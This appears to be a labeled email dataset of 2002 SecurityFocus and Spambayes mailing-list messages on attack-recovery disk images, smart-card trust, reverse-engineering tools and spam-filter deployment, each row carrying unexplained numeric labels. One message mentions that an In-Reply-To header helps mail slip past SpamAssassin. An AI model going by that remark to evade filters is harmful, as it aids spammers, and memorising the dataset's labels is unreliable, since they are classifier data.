","Thu, 5 Sep 2002 11:42:40 -0400",RE: use of base image / delta image for automated recovery from,"-----Original Message----- From: Crispin Cowan [mailto:crispin@wirex.com] Sent: Wednesday, September 04, 2002 7:30 PM To: Ben Mord Cc: Webappsec Securityfocus.Com; SECPROG Securityfocus Subject: Re: use of base image / delta image for automated recovery from attacks Ben Mord wrote: >> -----Original Message----- >> *From:* Crispin Cowan [mailto:crispin@wirex.com] >> *Sent:* Wednesday, September 04, 2002 5:46 PM >> *To:* Ben Mord >> *Cc:* Webappsec Securityfocus.Com; SECPROG Securityfocus >> *Subject:* Re: use of base image / delta image for automated >> recovery from attacks >> >> Ben Mord wrote: >> >> My proposed solution to the first two problems you mention is to be >> less ambitious. The idea is that you *never* commit - instead, you >> simply revert to base state on reboot. >Ah. In that case, you can use something considerably less powerful than >VMWare. All you need is a machine configured to boot from CD-ROM and use >a RAM disk for scratch space. Numerous Linux distros are available that >let you boot a stateless but functional system from CD-ROM. But RAM is expensive, and the directory structures of many systems (e.g. Windows) are not sufficiently organized and standardized to make this combination of bootable CDs and RAM drives practical. Even if you are fortunate enough to be using Linux (or another FHS-compliant *nix), you still can't fit a lot on a CD. Its not unusual today to have gigabytes of static multimedia content on the web server. This particular problem can be alleviated somewhat by using DVDs, but this is a temporary solution at best which will become outdated quickly as our data requirements grow and hard drives become cheaper. >> Obviously, you can't do this with partitions that accrue important >> state, e.g. a partition that stores database table data. >... but if you *do* want some state to persist, then you need a >mountable writable partition. To protect it, you need some kind of >access control management to decide who can do what to the writable >partition, blah blah blah ... and before you know it, the security >problem starts to look just like it does for conventional servers. Right. This is why you would consolidate all state of any long-term significance on just a couple partitions, and why you would not put static application code on these changeable partitions. Fortunately, most large client/server application physical architectures do this anyhow, because these are two fundamentally different kinds of state with two very different sets of administrative, security, RAID, and backup requirements. People also tend to do this anyhow because layered logical architectures are popular with the GUI at one end, business logic in the middle, and persistence services at the other. This logical architecture maps naturally to a physical architecture that has a static web server, a static application server, and a database server that has static and changeable partitions. (I use the word static versus changeable instead of writeable versus unwritable because the ""unchangeable"" partitions might be written to for temporary swap space. Who knows what Windows does internally?) My point is that there should be a market out there for a hardware RAID device that can split designated partitions into a permanent base image partition and a temporary delta image partition, that has some simple but solid security measures to prevent the unauthorized remote modification of base images, and that can be configured to clear the delta image when the server is rebooted. If some vendor wished to implement this, they could then market this as a mechanism to help frustrate broad classes of attack that rely on the permanent modification of system or application files via buffer overflows, platform and middleware bugs, etc. The prevention of unauthorized modification of application data, of course, would not be addressed by this particular product. But there are many other techniques out there to defend application data. But those techniques all assume that your system itself has not been compromised at a lower level, which is where this product could help. I would have to think that these features would be relatively easy for a hardware RAID vendor to implement. (I'm just guessing, of course, with no knowledge of how hardware RAID works internally.) If anyone knows of such a product, I'd love to hear about it. Ben",0,0 Artem Frolov ,Yannick Gingras ,"Thu, 5 Sep 2002 13:49:38 +0400 (MSD)",Re: Secure Sofware Key,"Hi On Wed, 4 Sep 2002, Yannick Gingras wrote: > BTW thanks for all of you who provided interestiong insight. I'm playing with > gdb's dissassembler now but I don't think it's what a typical cracker would > use. Any hints on UNIX cracking tools ? There's also an 'objdump' program, and 'biew' hex viewer/disassembler. A good starting point to search is http://www.freshmeat.net/ However, cracking and reverse engineering tools are not so ubiquitous on UNIX as they are on Windows platform for two main reasons: 1. The main customers of commercial Unices (Solaris, HP-UX, Aix, SCO...) are respectable companies. They are ready to pay big bucks for software they need: the reputation matters. 2. Most software for free and open source Unices like Linux and xBSD (this software often may be used on commercial unices as well) is, well, free and open source. Regards /Artem -- Artem Frolov /------------------------------------------------------------------\ Software Engineer, System Administrator Institute for System Programming, Russian Academy of Sciences Tel. +7 095 912-5317 (ext 4406), Cellular: +7 095 768-7067 C7 40 CA 41 2A 18 89 D6 29 45 DF 50 75 13 6D 7A A4 87 2B 76 \------------------------------------------------------------------/ ------------------------------------------------------------------ Basic Definitions of Science: If it's green or wiggles, it's biology. If it stinks, it's chemistry. If it doesn't work, it's physics. ------------------------------------------------------------------",0,1 George Dinwiddie ,bmord@icon-nicholson.com (Ben Mord),"Thu, 5 Sep 2002 15:08:37 -0400 (EDT)",Re: use of base image / delta image for automated recovery from,"> Ben Mord said: > > >Ah. In that case, you can use something considerably less powerful than > >VMWare. All you need is a machine configured to boot from CD-ROM and use > >a RAM disk for scratch space. Numerous Linux distros are available that > >let you boot a stateless but functional system from CD-ROM. > > But RAM is expensive, and the directory structures of many systems (e.g. > Windows) are not sufficiently organized and standardized to make this > combination of bootable CDs and RAM drives practical. Even if you are > fortunate enough to be using Linux (or another FHS-compliant *nix), you > still can't fit a lot on a CD. Its not unusual today to have gigabytes of > static multimedia content on the web server. This particular problem can be > alleviated somewhat by using DVDs, but this is a temporary solution at best > which will become outdated quickly as our data requirements grow and hard > drives become cheaper. So, just write-protect the hard disk for partitions that are static. I seem to recall an article on this (early 80's, Byte magazine, perhaps?) for BBS systems or for testing unknown (perhaps trojan horse) software. - George -- ---------------------------------------------------------------------- George Dinwiddie gdinwiddie@alberg30.org The gods do not deduct from man's allotted span those hours spent in sailing. http://www.Alberg30.org/ ----------------------------------------------------------------------",0,1 Allan Jensen ,Richard Bartlett ,"Tue, 17 Sep 2002 14:51:23 +0200 (CEST)",Re: The risks of client systems writing to server registry,"On 5 Sep 2002, Richard Bartlett wrote: Richard, > I have a customer who is developing some printer driver code to allow > custom driver settings (n-up, booklet, duplex etc.) to be saved up to the > server to be retrieved by other users. The data is being written, by a > printer driver (using the logged on users authentication, to a registry > key) HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows NT > x86\Drivers\Version-3\{Driver Name}\{Custom Key}\Subkey). Let me get this straight; a registry key is loaded from the server onto the client workstations who can modify it, then write it back onto the server's own registry - which is not going to use it? > The question is, what are the security risks of allowing users to write > to this key? The data is string data, in the form of delimited numeric > values. This data is then retrieved by capable printer drivers and > interpreted. > > The risks as I see it are twofold; > (1) The risks of a compromise to the server using this registry key. I > think this is unlikeley as the server itself does not use this data, only > client PC's do. Unless someone knows a way to travel out of a hive up > the registry bypassing the permissions set using regedt32. What is the reason to write a registry key to a server if the server itself is not using it? I don't think you should worry too much about someone travelling out of the hive, but again, I'm curious as to how the driver actually modifies the keys on the server. > (2) The risks of a compromise to the client (far more likely). This > would probably be by a malformed or extremely long string in the key > value, which would presumably lead to either DOS or system compromise by > buffer overflow on the client system. And if the client writes the key back onto the server, yes, there's wide open for something nasty here. Two other things spring to mind; 1) If anyone can modify the key, how do you make sure that two users are not overwriting the same key, thereby causing undesirable effects. 2) If anyone have permissions to write to the key (and below), anyone can create thousands of extra keys under this key, thereby filling up the registry. The result of such a thing is obvious. If I got this all wrong, I'd be happy that you clarify a bit more and tell me where I might have misunderstood. Med venlig hilsen / Best regards, -Allan Jensen Si hoc signum legere potes, operis boni in rebus Latinus alacribus et fructuosis potiri potes!",0,0 """Michael McKay"" ","""'Bryan Feir'"" ,","Thu, 19 Sep 2002 14:44:22 -0700",RE: Secure Sofware Key,"Bryan Feir [mailto:bryan@sgl.crestech.ca] wrote: >Of course, once one player key was broken, dealing with the rest became > a known plaintext attack, and the rest of the player keys went down like > a row of dominos. The actual follow-up to the Xing player break was more interesting than that. The mere knowledge of known plaintext (a corresponding input and output) does not necessarily make it trivial to break a properly designed systems and/or algorithm. The primary reason it was easy for CSS is because the CSS key was only 40-bits, and thereby easy to break with exhaustive search attacks. It was only 40-bits (speculated) because of a misunderstanding of the government cryptography export rules at the time. Even more interesting, to me at least, was that soon after the Xing player break, people started studying the CSS algorithm itself. They rapidly found serious design flaws which left the 40-bit CSS algorithm with an actual strength of around 23-bits (from memory, and new attacks might have further reduced the strength). This is another great example showing why proprietary cryptography algorithms should be viewed with the greatest of suspicion. On Tue, Sep 03, 2002 at 09:03:40PM -0400, Yannick Gingras wrote: > This make me wonder about the relative protection of smart cards. They have > an internal procession unit around 4MHz. Can we consider them as trusted > hardware ? Yes and no. You can put a limited amount of trust in a smart card. There have been any number of very clever attacks against smartcards (Ross Anderson in the UK has documented quite a few of these), and smartcard manufactures are usually one step behind these attacks. A well designed system assumes that a system smartcard will be completely compromised at some point, giving an adversary all of the secrets contained in the smartcard. The cryptography industry has developed a variety of techniques that can reduce the impact of a compromise, including unique keys per smartcard and forward security techniques. Luciano Rocha [strange@nsk.yi.org] wrote: > The problem is that that piece of hardware is trustworthy, but the rest of > the PC isn't, so a cracker just needs to simulate the lock/smart card, or > peek at the executable after the lock has been deactivated. Going back to the original question, once the encrypted material goes outside the trusted hardware, it is impossible to ""unbreakably"" protect it. There may be some mitigation steps you can take, such as the SDMI watermarking, but most schemes to date have been easily broken. Another consideration is the value of what you are trying to protect. While there is no such thing as unbreakable, adding more cost (both in terms of price and hassle-factor) can greatly improve the protection. Since you are talking about the use of standard PC workstations, I presume what you are trying to protect is not THAT valuable. I'm afraid most security measures don't come for free. Michael McKay Director of Software Development mmckay@iscubed.com Information Security Systems & Services Inc. 19925 Stevens Creek Blvd. Cupertino, CA 95014 Phone: 408.725.7136 x 4138 Fax: 408.973.7239 www.iscubed.com",0,0 Alex Russell ,"""Michael McKay"" ,","Thu, 19 Sep 2002 19:56:55 -0500",Re: Secure Sofware Key,"On Thursday 19 September 2002 16:44, Michael McKay wrote: > On Tue, Sep 03, 2002 at 09:03:40PM -0400, Yannick Gingras wrote: > > This make me wonder about the relative protection of smart cards. > They have an internal procession unit around 4MHz. Can we consider them as > trusted hardware ? SmartCards do not have fixed clock rates (more often than not) as the ISO spec dictates that they are externally powered and clocked, but SmartCards used for security purposes (usually JavaCards) have built-in crypto co-processors that make clock rate irrelevant. 4mhz SmartCards can often preform triple-DES faster than general purpose processors clocked at ten times the speed. That said, clock rate has nothing with how trustworthy a card is. As Michael pointed out, there's something of an arms-race between manufacturers and attackers which has nothing to do with clock rate, and time and time again what we've seen is that it's not a question of ""is it secure"", it's a question of ""who is it secure from and for how long?"" Security is rarely a question of absolutes (despite the often boolean nature of a break), rather it's a question of assessing, quantifying, and managing risk. SmartCards are designed to address threats in which the cost of protection cannot exceed the $1-20 range (depending on the application). As whether or not they are ""trusted hardware"", the question again revolves around attacker and timeframe. One might expect a bored undergrad EE student to have more trouble revealing the contents of a pilfered smartcard than, say, a governtment intelligence service. If your goal is to keep undergrad EEs from perpetrating mass fraud in the caffeteria, then a smartcard is likely ""trustworthy"" enough for your application. If your aim is to protect ICBM launch codes, then it's probably the wrong tool. In either application, a risk/cost ratio must justify the use of the protection measure in question. -- Alex Russell alex@SecurePipe.com alex@netWindows.org",0,0 redhat ,SECPROG Securityfocus ,"Fri, 20 Sep 2002 23:00:42 +0000",Re: use of base image / delta image for automated recovery from,"reply to the mail from Ben Mord (bmord@icon-nicholson.com): > Hi, Hello, < ... snipped for brevity ... > > ... This concept could also be > applied to the application servers, and even the database server partitions > (except for those partitions which contain the table data files, of course.) Although the data might just be the information that needs protecting. > Does anyone do this already? Or is this a new concept? I've seen this implemented for a shell server, although they chose to have their root on a CD-WR in a CD-R drive. Which meant that even when compromised it was only possible to examine other users data. AFAIR(emember) they just swapped CD's when a root exploit was found. > Thanks for any opinions, NP blaze your trail -- redhat 'I am become Shiva, destroyer of worlds'",0,0 Mario Torre ,secprog@securityfocus.com,"Thu, 22 Aug 2002 20:15:15 +0200",Encryption approach to secure web applications,"Hi everybody! I'm writing a web application in java (tomcat + jsp/servlets + database access with postgreSQL). This will be released under the GPL and will eventually be useful as a framework for other web applications. The application main focus is e-commerce, but not limited to that. I would like to use some form of cryptography to protect data on the database, but I have some problem figuring out the right approach. Above all, how to store passwords and keys in a shared web server. A problem that I was unable to solve is how to store keys for encryption/decryption. The api that I'm using is the jca (jdk1.4.x), and the methods of saving generated keys in keystores fails always. I can serialize the object, and store in the database, but this is not the most secure approach: this key is needed to decrypt data in the database, but the database is accessible from the web application. Assuming that I can find a good and secure place where to store the database password, I can use a different database with different user... Argh... to complex and doesn't really solve the problem. Where I can found good documentation about this topic? There is another approach that I would share with the list, something I thought that can be of bit interest, but probabily wrong and insecure. After all, I'm a real beginner in secure programming, and I'm here to learn methods and technics. First of all, I need a secure way to keep database passwords secure, so I have to keep them separate from the main server. The right approach could be using a small java bean application that run as normal user (not tomcat, so it is not shared with other web services or, worst, the nobody user), that has no shell login, but has a default home directory or a place where it can hold passwords and keys. The web application could then open an ssl connection (could be done in the init method at server startup) to get database passwords. The small bean could check via code signature/rmi/whatever else that the source is the right one, and handle all the database connections, or give the db connection/password to the main web application. In this way, we solve the problem of keeping the keys and passwords in shared directories, and also, an attacker should get root/bean user account to read data. This is not perfect, and works only if your provider gives the opportunity to configure a separated java application (that means, really, another server running in the background). Any suggestions? Thank you, Mario Torre -- Please avoid sending me Word or PowerPoint attachments. See http://www.fsf.org/philosophy/no-word-attachments.html",0,1 gward@python.net (Greg Ward),,"Fri, 6 Sep 2002 09:44:17 -0400",[Spambayes] test sets?,"On 05 September 2002, Tim Peters said: > Greg Ward is > currently capturing a stream coming into python.org, and I hope we can get a > more modern, and cleaner, test set out of that. Not yet -- still working on the required config changes. But I have a cunning plan... > But if that stream contains > any private email, it may not be ethically possible to make that available. It will! Part of my cunning plan involves something like this: if folder == ""accepted"": # ie. not suspected junk mail if (len(recipients) == 1 and recipients[0] in (""guido@python.org"", ""barry@python.org"", ...)): folder = ""personal"" If you (and Guido, Barry, et. al.) prefer, I could change that last statement to ""folder = None"", so the mail won't be saved at all. I *might* also add a ""and sender doesn't look like -bounce-*, -request, -admin, ..."" clause to that if statement. > Can you think of anyplace to get a large, shareable ham sample apart from a > public mailing list? Everyone's eager to share their spam, but spam is so > much alike in so many ways that's the easy half of the data collection > problem. I believe the SpamAssassin maintainers have a scheme whereby the corpus of non-spam is distributed, ie. several people have bodies of non-spam that they use for collectively evolving the SA score set. If that sounds vague, it matches my level of understanding. Greg -- Greg Ward http://www.gerg.ca/ Reality is for people who can't handle science fiction.",0,1 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 09:54:14 -0400",[Spambayes] test sets?,"> I believe the SpamAssassin maintainers have a scheme whereby the corpus > of non-spam is distributed, ie. several people have bodies of non-spam > that they use for collectively evolving the SA score set. If that > sounds vague, it matches my level of understanding. See if you can get a hold of that so we can do a level-playing-field competition. :-) --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 gward@python.net (Greg Ward),,"Fri, 6 Sep 2002 09:57:18 -0400",[Spambayes] Re: [Python-Dev] Getting started with GBayes testing,"On 06 September 2002, Anthony Baxter said: > A snippet, hopefully not enough to trigger the spam-filters. As an aside: one of the best ways to dodge SpamAssassin is by having an In-Reply-To header. Most list traffic should meet this criterion. Alternately, I can whitelist mail to spambayes@python.org -- that'll work until spammers get ahold of the list address, which usually seems to take a few months. Greg -- Greg Ward http://www.gerg.ca/ Gee, I feel kind of LIGHT in the head now, knowing I can't make my satellite dish PAYMENTS!",0,1 barry@python.org (Barry A. Warsaw),,"Fri, 6 Sep 2002 10:23:19 -0400",[Spambayes] test sets?,">>>>> ""TP"" == Tim Peters writes: >> Any thought to wrapping up your spam and ham test sets for >> inclusion w/ the spambayes project? TP> I gave it all the thought it deserved . It would be TP> wonderful to get several people cranking on the same test TP> data, and I'm all in favor of that. OTOH, my Data/ subtree TP> currently has more than 35,000 files slobbering over 134 TP> million bytes -- even if I had a place to put that much stuff, TP> I'm not sure my ISP would let me email it in one msg . Check it into the spambayes project. SF's disks are cheap . -Barry",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 10:24:37 -0400",[Spambayes] test sets?,"> Check it into the spambayes project. SF's disks are cheap . Perhaps more useful would be if Tim could check in the pickle(s?) generated by one of his training runs, so that others can see how Tim's training data performs against their own corpora. This could also be the starting point for a self-contained distribution (you've got to start with *something*, and training with python-list data seems just as good as anything else). --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 barry@python.org (Barry A. Warsaw),,"Fri, 6 Sep 2002 10:28:12 -0400",[Spambayes] test sets?,">>>>> ""GW"" == Greg Ward writes: GW> If you (and Guido, Barry, et. al.) prefer, I could change that GW> last statement to ""folder = None"", so the mail won't be saved GW> at all. I don't care if the mail is foldered on python.org, but personal messages regardless of who they're for, shouldn't be part of the public spambayes repository unless specifically approved by both the recipient and sender. Note also that we are much more liberal about python.org/zope.org mailing list traffic than most folks. Read list-managers for any length of time and you'll find that there are a lot of people who assert strict copyright over their collections, are very protective of their traffic, and got really pissed when gmane just started gatewaying their messages without asking. Which might be an appropriate for their lists, but not for ours (don't think I'm suggesting we do the same -- I /like/ our laissez-faire approach). But for personal email, we should be more careful. -Barry",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 10:31:22 -0400",[Spambayes] Deployment,"Quite independently from testing and tuning the algorithm, I'd like to think about deployment. Eventually, individuals and postmasters should be able to download a spambayes software distribution, answer a few configuration questions about their mail setup, training and false positives, and install it as a filter. A more modest initial goal might be the production of a tool that can easily be used by individuals (since we're more likely to find individuals willing to risk this than postmasters). There are many ways to do this. Some ideas: - A program that acts both as a pop client and a pop server. You configure it by telling it about your real pop servers. You then point your mail reader to the pop server at localhost. When it receives a connection, it connects to the remote pop servers, reads your mail, and gives you only the non-spam. To train it, you'd only need to send it the false negatives somehow; it can assume that anything is ham that you don't say is spam within 48 hours. - A server with a custom protocol that you send a copy of a message and that answers ""spam"" or ""ham"". Then you have a little program that is invoked e.g. by procmail that talks to the server. (The server exists so that it doesn't have to load the pickle with the scoring database for each message. I don't know how big that pickle would be, maybe loading it each time is fine. Or maybe marshalling.) - Your idea here. Takers? How is ESR's bogofilter packaged? SpamAssassin? The Perl Bayes filter advertised on slashdot? --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 barry@python.org (Barry A. Warsaw),,"Fri, 6 Sep 2002 10:38:56 -0400",[Spambayes] test sets?,">>>>> ""GvR"" == Guido van Rossum writes: GvR> Perhaps more useful would be if Tim could check in the GvR> pickle(s?) generated by one of his training runs, so that GvR> others can see how Tim's training data performs against their GvR> own corpora. He could do that too. :) -Barry",0,0 bkc@murkworks.com (Brad Clements),,"Fri, 06 Sep 2002 10:39:48 -0400",[Spambayes] Deployment,"On 6 Sep 2002 at 10:31, Guido van Rossum wrote: > your mail, and gives you only the non-spam. To train it, you'd only need > to send it the false negatives somehow; it can assume that anything is > ham that you don't say is spam within 48 hours. I have folks who leave their email programs running 24 hours a day, constantly polling for mail. If they go away for a long weekend, lots of ""friday night spam"" will become ham on sunday night. (Friday night seems to be the most popular time) > - Your idea here. Ultimately I'd like to see tight integration into the ""most popular email clients"".. As a stop-gap to the auto-ham .. How about adding an IMAP server with a spam and deleted-ham folder. Most email clients can handle IMAP. Users should be able to quickly move ""spam"" into the spam folder. Instead of deleting messages (or, by reprogramming the delete function) they can quickly move ham into the ham folder. In either case, the message would be processed and then destroyed. Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax AOL-IM: BKClements",0,1 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 10:45:27 -0400",[Spambayes] test sets?,"[Tim] > OTOH, my Data/ subtree currently has more than 35,000 files slobbering > over 134 million bytes -- even if I had a place to put that much stuff, > I'm not sure my ISP would let me email it in one msg . [Skip] > Do you have a dialup or something more modern ? Much more modern: a cable modem with a small upload rate cap. There's a reason the less modern uncapped @Home went out of business . > 134MB of messages zipped would probably compress pretty well - under 50MB > I'd guess with all the similarity in the headers and such. You could zip > each of the 10 sets individually and upload them somewhere. I suppose this could finish over the course of an afternoon. Now where's ""somewhere""? I expect we'll eventually collect several datasets; SourceForge isn't a good place for it (they expect projects to distribute relatively small code files, and complain if even those get big). > ... > How about random sampling lots of public mailing lists via gmane or > something similar, manually cleaning it (distributing that load over a > number of people) and then relying on your clever code and your > rebalancing script to help further cleanse it? What then are we training the classifier to do? Graham's scoring scheme is based on an assumption that the ham-vs-spam task is *easy*, and half of that is due to that the ham has a lot in common. It was an experiment to apply his scheme to all the comp.lang.python traffic, which is a lot broader than he had in mind (c.l.py has long had a generous definition of ""on topic"" ). I don't expect good things to come of making it ever broader, *unless* your goal is to investigate just how broad it can be made before it breaks down. > The ""problem"" with the ham is it tends to be much more tied to one person > (not just intimate, but unique) than the spam. Which is ""a feature"" from Graham's POV: the more clues, the better this ""smoking guns only"" approach should work. > I save all incoming email for ten days (gzipped mbox format) before it rolls > over and disappears. At any one time I think I have about 8,000-10,000 > messages. Most of it isn't terribly personal (which I would cull before > passing along anyway) and much of it is machine-generated, so would be of > marginal use. Finally, it's all ham-n-spam mixed together. Do we call > that an omelette or a Denny's Grand Slam? Unless you're volunteering to clean it, tag it, package it, and distribute it, I'd call it irrelevant .",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 10:43:33 -0400",[Spambayes] Deployment,"> > your mail, and gives you only the non-spam. To train it, you'd only need > > to send it the false negatives somehow; it can assume that anything is > > ham that you don't say is spam within 48 hours. > > I have folks who leave their email programs running 24 hours a day, > constantly polling for mail. If they go away for a long weekend, > lots of ""friday night spam"" will become ham on sunday night. > (Friday night seems to be the most popular time) So we'll make this a config parameter. > > - Your idea here. > > Ultimately I'd like to see tight integration into the ""most popular > email clients"".. As a stop-gap to the auto-ham .. What's an auto-ham? > How about adding an IMAP server with a spam and deleted-ham > folder. Most email clients can handle IMAP. Users should be able to > quickly move ""spam"" into the spam folder. I personally don't think IMAP has a bright future, but for people who do use it, that's certainly a good approach. > Instead of deleting messages (or, by reprogramming the delete > function) they can quickly move ham into the ham folder. Yes. --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 10:59:38 -0400",[Spambayes] test sets?,"[Anthony Baxter] > I've got a test set here that's the last 3 and a bit years email to > info@ekit.com and info@ekno.com - it's a really ugly set of 20,000+ > messages, currently broken into 7,000 spam, 9,000 ham, 9,000 currently > unclassified. These addresses are all over the 70-some different > ekit/ekno/ISIConnect websites, so they get a LOT of spam. > > As well as the usual spam, it also has customers complaining about > credit card charges, it has people interested in the service and > asking questions about long distance rates, &c &c &c. Lots and lots > of ""commercial"" speech, in other words. Stuff that SA gets pretty > badly wrong. Can this corpus be shared? I suppose not. > I'm currently mangling it by feeding all parts (text, html, whatever > else :) into the filters, as well as both a selected number of headers > (to, from, content-type, x-mailer), and also a list of (header, > count_of_header). This is showing up some nice stuff - e.g. the > X-uidl that stoopid spammers blindly copy into their messages. If we ever have a shared corpus, an easy refactoring of timtest should allow to plug in different tokenizers. I've only made three changes to Graham's algorithm so far (well, I've made dozens -- only three survived testing as proven winners), all the rest has been refining the tokenization to provide better clues. > I did have Received in there, but it's out for the moment, as it causes > rates to drop. That's ambiguous. Accuracy rates or error rates, ham or spam rates? > I'm also stripping out HTML tags, except for href="""" and src="""" - there's > so so much goodness in them (note that I'm only keeping the contents of > the attributes). Mining embedded http/https/ftp thingies cut the false negative rate in half in my tests (not keying off href, just scanning for anything that ""looked like"" one); that was the single biggest f-n improvement I've seen. It didn't change the false positive rate. So you know whether src added additional power, or did you do both at once?",0,0 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 10:01:51 -0500",[Spambayes] Deployment,"Guido> Takers? How is ESR's bogofilter packaged? SpamAssassin? The Guido> Perl Bayes filter advertised on slashdot? Dunno about the other tools, but SpamAssassin is a breeze to incorporate into a procmail environment. Lots of people use it in many other ways. For performance reasons, many people run a spamd process and then invoke a small C program called spamc which shoots the message over to spamd and passes the result back out. I think spambayes in incremental mode is probably fast enough to not require such tricks (though I would consider changing the pickle to an anydbm file). Basic procmail usage goes something like this: :0fw | spamassassin -P :0 * ^X-Spam-Status: Yes $SPAM Which just says, ""Run spamassassin -P reinjecting its output into the processing stream. If the resulting mail has a header which begins ""X-Spam-Status: Yes"", toss it into the folder indicated by the variable $SPAM. SpamAssassin also adds other headers as well, which give you more detail about how its tests fared. I'd like to see spambayes operate in at least this way: do its thing then return a message to stdout with a modified set of headers which further processing downstream can key on. Skip",0,0 bkc@murkworks.com (Brad Clements),,"Fri, 06 Sep 2002 11:02:11 -0400",[Spambayes] Deployment,"Did you want this on the list? I'm replying to the list.. On 6 Sep 2002 at 10:43, Guido van Rossum wrote: > What's an auto-ham? Automatically marking something as ham after a given timeout.. regardless of how long that timeout is, someone is going to forget to submit the message back as spam. How many spams-as-hams can be accepted before the f-n rate gets unacceptable? > > How about adding an IMAP server with a spam and deleted-ham > > folder. Most email clients can handle IMAP. Users should be able to > > quickly move ""spam"" into the spam folder. > > I personally don't think IMAP has a bright future, but for people who > do use it, that's certainly a good approach. > > > Instead of deleting messages (or, by reprogramming the delete > > function) they can quickly move ham into the ham folder. > > Yes. I view IMAP as a stop-gap measure until tighter integration with various email clients can be achieved. I still feel it's better to require classification feedback from the recipient, rather than make any assumptions after some period of time passes. But this is an end-user issue and we're still at the algorithm stage.. ;-) Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax AOL-IM: BKClements",0,1 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 11:05:22 -0400",[Spambayes] Deployment,"> > What's an auto-ham? > > Automatically marking something as ham after a given > timeout.. regardless of how long that timeout is, someone is going > to forget to submit the message back as spam. OK, here's a refinement. Assuming very little spam comes through, we only need to pick a small percentage of ham received as new training ham to match the new training spam. The program could randomly select a sufficient number of saved non-spam msgs and ask the user to validate this selection. You could do this once a day or week (config parameter). > How many spams-as-hams can be accepted before the f-n rate gets > unacceptable? Config parameter. > I view IMAP as a stop-gap measure until tighter integration with > various email clients can be achieved. > > I still feel it's better to require classification feedback from the > recipient, rather than make any assumptions after some period of > time passes. But this is an end-user issue and we're still at the > algorithm stage.. ;-) I'm trying to think about the end-user issues because I have nothing to contribute to the algorithm at this point. For deployment we need both! --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 11:06:26 -0400",[Spambayes] Deployment,"> Dunno about the other tools, but SpamAssassin is a breeze to incorporate > into a procmail environment. Lots of people use it in many other ways. For > performance reasons, many people run a spamd process and then invoke a small > C program called spamc which shoots the message over to spamd and passes the > result back out. I think spambayes in incremental mode is probably fast > enough to not require such tricks (though I would consider changing the > pickle to an anydbm file). > > Basic procmail usage goes something like this: > > :0fw > | spamassassin -P > > :0 > * ^X-Spam-Status: Yes > $SPAM > > Which just says, ""Run spamassassin -P reinjecting its output into the > processing stream. If the resulting mail has a header which begins > ""X-Spam-Status: Yes"", toss it into the folder indicated by the variable > $SPAM. > > SpamAssassin also adds other headers as well, which give you more detail > about how its tests fared. I'd like to see spambayes operate in at least > this way: do its thing then return a message to stdout with a modified set > of headers which further processing downstream can key on. Do you feel capable of writing such a tool? It doesn't look too hard. --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 10:12:58 -0500",[Spambayes] Deployment,">> Ultimately I'd like to see tight integration into the ""most popular >> email clients"".. The advantage of using a kitchen sink (umm, make that highly programmable) editor+email package like Emacs+VM is that you can twiddle your key bindings and write a little ELisp (or Pymacs) glue to toss messages in the right direction (spam or ham). For this, spambayes would have to operate in an incremental fashion when fed a single ham or spam message. (No, I have no idea what an ""auto-ham"" is. A pig run over by a car, perhaps?) give-a-dog-a-bone-ly, y'rs, Skip",0,0 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 10:19:30 -0500",[Spambayes] Deployment,">> Dunno about the other tools, but SpamAssassin is a breeze ... >> SpamAssassin also adds other headers as well, which give you more >> detail ... Guido> Do you feel capable of writing such a tool? It doesn't look too Guido> hard. Sure, but at the moment I have to stop reading email for a few hours and do some real work. ;-) I'll see if I can modify GBayes.py suitably over the weekend. Skip",0,0 nas@python.ca (Neil Schemenauer),,"Fri, 6 Sep 2002 08:57:05 -0700",[Spambayes] Deployment,"Guido van Rossum wrote: > I personally don't think IMAP has a bright future, but for people who > do use it, that's certainly a good approach. Writing an IMAP server is a non-trivial task. The specification is huge and clients do all kinds of weird stuff. POP is very easy in comparison. Perhaps you could forward messages to a special address or save them in a special folder to mark them as false negatives. Alternatively, perhaps there could be a separate protocol and client that could be used to review additions to the training set. Each day a few random spam and ham messages could be grabbed as candidates. Someone would periodically startup the client, review the candidates, reclassify or remove any messages they don't like and add them to the training set. Neil",0,0 barry@python.org (Barry A. Warsaw),,"Fri, 6 Sep 2002 12:23:33 -0400",[Spambayes] Deployment,">>>>> ""NS"" == Neil Schemenauer writes: NS> Writing an IMAP server is a non-trivial task. That's what I've been told by everyone I've talked to who's actually tried to write one. NS> Alternatively, perhaps there could be a separate protocol and NS> client that could be used to review additions to the training NS> set. Each day a few random spam and ham messages could be NS> grabbed as candidates. Someone would periodically startup the NS> client, review the candidates, reclassify or remove any NS> messages they don't like and add them to the training set. I think people will be much more motivated to report spam than ham. I like the general approach that copies of random messages will be sequestered for some period of time before they're assumed to be ham. Matched with a simple spam reporting scheme, this could keep the training up to date with little effort. I've sketched out an approach a listserver like Mailman could do along these lines and if I get some free time I'll hack something together. I like the idea of a POP proxy which is classifying messages as they're pulled from the server. The easiest way for such a beast to be notified of spam might be to simply save the spam in a special folder or file that the POP proxy would periodically consult. -Barry",0,0 paul-bayes@svensson.org (Paul Svensson),,"Fri, 6 Sep 2002 12:27:57 -0400 (EDT)",[Spambayes] Corpus Collection (Was: Re: Deployment),"On Fri, 6 Sep 2002, Guido van Rossum wrote: >Quite independently from testing and tuning the algorithm, I'd like to >think about deployment. > >Eventually, individuals and postmasters should be able to download a >spambayes software distribution, answer a few configuration questions >about their mail setup, training and false positives, and install it >as a filter. > >A more modest initial goal might be the production of a tool that can >easily be used by individuals (since we're more likely to find >individuals willing to risk this than postmasters). My impression is that a pre-collected corpus would not fit 